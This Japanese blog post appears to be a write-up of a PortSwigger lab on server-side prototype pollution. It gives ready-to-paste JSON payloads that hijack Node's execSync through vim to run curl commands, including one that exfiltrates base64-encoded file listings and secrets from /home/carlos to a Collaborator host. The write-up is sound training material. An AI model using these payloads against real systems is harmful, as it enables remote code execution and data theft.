以下の内容はhttps://cysec148.hatenablog.com/entry/2025/09/16/080248より取得しました。


Lab: Exfiltrating sensitive data via server-side prototype pollution

Hello there, ('ω')ノ

全体像(何が起きるのか)

  1. 汚染源:アドレス変更フォームの JSON をそのままサーバオブジェクトへマージしている
  2. 検知の合図"__proto__": {"json spaces": 10} を入れると、レスポンス JSON のインデントが増える
  3. ガジェット:メンテナンスジョブ(管理画面)内で execSyncオプションオブジェクトを参照
  4. 注入Object.prototype.shellObject.prototype.input を設定 → シェル/標準入力を乗っ取る
  5. RCE確認curl https://<あなたのCollaborator> を実行させ、DNS/HTTPヒットで確証
  6. 流出ls /home/carlos | base64 | curl -d @- …ファイル名cat /home/carlos/secret | base64 | curl -d @- …秘密を送る

実務上の解釈:サーバ側のプロトタイプ(Object.prototype)を汚染どこかで使われる共通オプションに影響思わぬコード実行へ。


事前準備

  • 認証:wiener:peter でログイン(既に権限昇格済み)
  • Burp Suite:Proxy/Repeater/Collaborator を使用
  • 注意:プロトタイプ汚染はアプリを落とす可能性あり。ラボ上部の Restart で復帰可能(実務では不可なので慎重に)

フェーズA:汚染の成立を“安全に”確かめる

1) 対象リクエストを掴む

  • アカウントページ → 住所変更フォームを送信
  • Proxy → HTTP historyPOST /my-account/change-addressSend to Repeater

2) __proto__ で“インデント変化”を見る(副作用小)

リクエストボディ(例):

{
  "address_line_1": "1 Main St",
  "address_line_2": "",
  "city": "London",
  "postcode": "NW1 1AA",
  "__proto__": {
    "json spaces": 10
  }
}
  • Send → Response の Raw を見る
  • 期待:レスポンス JSON のインデントが広がる(通常2→10など) → Object.prototype が汚染された強い示唆(Express の res.json() が参照する設定に反映)

フェーズB:RCE のガジェットを掘り当てる

3) 管理画面のメンテナンスボタンを観察

  • Admin パネルに「メンテナンス実行」ボタンあり
  • クリックでDB/FS クリーニング等のバックグラウンドジョブが走る → Node ではこうした処理で child_process.execSync を使いがち(オプション汚染の好物

4) execSync のオプションをプロトタイプ経由で上書き

  • execSync(command, options)options

    • shell(使用するシェル。既定 /bin/sh
    • input(標準入力に流す文字列) がある
  • これを Object.prototype に刺せば、どこかの共通オプションから継承されて実効化される可能性が高い

注入ペイロード(アドレス変更の JSON に加える):

"__proto__": {
  "shell": "vim",
  "input": ":! curl https://YOUR-COLLABORATOR-ID.oastify.com\n"
}
  • shell: "vim"コマンドの代わりに Vim を起動する発想(Vim はコマンドモードで外部コマンド実行ができる)
  • input: ":! curl https://<collab>\n"Vim の標準入力:! ... を送り、起動後に外部コマンドを実行させる

なぜ Vim? /bin/sh の input はそのままシェルコマンド扱いにならない場合がある。Vim は確実に標準入力からコマンドモードへ入れるので、堅実に外部コマンドが呼ばれる

5) 実行&検知

  • 上記ペイロードで POST /my-account/change-address200 を確認
  • ブラウザで Admin パネル → メンテナンス実行
  • Burp CollaboratorPoll now → DNS/HTTP のヒットが複数件見えたら RCE 確定

フェーズC:/home/carlos の内容(ファイル名)を流出

6) ls の結果を Base64→HTTP POST で送る

再度、アドレス変更リクエストの JSON に以下を差し替え:

"__proto__": {
  "shell": "vim",
  "input": ":! ls /home/carlos | base64 | curl -d @- https://YOUR-COLLABORATOR-ID.oastify.com\n"
}
  • Send → Admin で メンテナンス実行
  • Collaborator → Poll nowHTTP POST が来て本文が Base64 → デコード:node_appssecret 等が判明

フェーズD:/home/carlos/secret の中身を流出

7) cat → Base64 → POST

再度、以下で上書き:

"__proto__": {
  "shell": "vim",
  "input": ":! cat /home/carlos/secret | base64 | curl -d @- https://YOUR-COLLABORATOR-ID.oastify.com\n"
}
  • Send → Admin で メンテナンス実行
  • Collaborator → Poll now → Base64 本文を取得 → デコードして秘密文字列を得る

8) 提出

  • ラボ上部の Submit solution秘密の値を貼り付けて送信 → クリア

Burp の操作ひな型(コピペ用)

ベースの変更リクエスト(例)

POST /my-account/change-address HTTP/1.1
Host: YOUR-LAB-ID.web-security-academy.net
Content-Type: application/json
Cookie: session=...

{
  "address_line_1": "1 Main St",
  "address_line_2": "",
  "city": "London",
  "postcode": "NW1 1AA",
  "__proto__": {
    "json spaces": 10
  }
}

RCE 確認用(Vim + curl)

"__proto__": {
  "shell": "vim",
  "input": ":! curl https://YOUR-COLLABORATOR-ID.oastify.com\n"
}

目录(ls)流出

"__proto__": {
  "shell": "vim",
  "input": ":! ls /home/carlos | base64 | curl -d @- https://YOUR-COLLABORATOR-ID.oastify.com\n"
}

ファイル流出

"__proto__": {
  "shell": "vim",
  "input": ":! cat /home/carlos/secret | base64 | curl -d @- https://YOUR-COLLABORATOR-ID.oastify.com\n"
}

Collaborator ドメインは Burp で Insert Collaborator payload を使って差し込むと確実。


つまずきやすいポイント(原因→対処)

  • インデントが変わらない"json spaces" のスペル・位置を再確認。__proto__ はトップレベルに置く。
  • メンテが失敗するだけで Collaborator に来ない:FW/SSL で失敗の可能性。http:// に落とす、curl -k を併用(ラボはたいてい不要)。
  • サーバが固まる/落ちる:汚染が強すぎる。Restart してやり直し、まずは json spaces の軽い汚染→shell/input へ段階的に。
  • Base64 デコードで文字化け:改行混在に注意。Burp内で Copy to file → 標準的なデコーダでデコード。
  • Vim が起動しない?:実装差で shell が別扱いのことも。代替として

    • shell: "/bin/sh" + input: "curl https://<collab>\n"
    • input: "echo; curl ...\n" を試す。まずは解法どおりの Vimで通る前提。

なぜこの手法が効くのか(理解のコア)

  • Object.assign / deep-merge の無防備なマージが Object.prototype に到達
  • 汚染したプロパティが後続のどこかの共通オプション(ここでは execSync の options)に継承
  • 入力検証の責務放棄全レイヤに副作用を波及し、RCE→データ流出まで一直線

まとめ(1枚に凝縮)

  • 観察:住所変更POST→レスポンスJSONのインデントで汚染確認
  • 注入shell="vim", input=":! curl ...\n"Object.prototype に差す
  • 実行:Admin のメンテ起動→ Collaborator ヒットで RCE 確定
  • 流出ls / cat + base64 | curl -d @-ファイル名→秘密を外部送信
  • 提出:デコードした secretSubmit solution に入れてクリア

Best regards, (^^ゞ




以上の内容はhttps://cysec148.hatenablog.com/entry/2025/09/16/080248より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14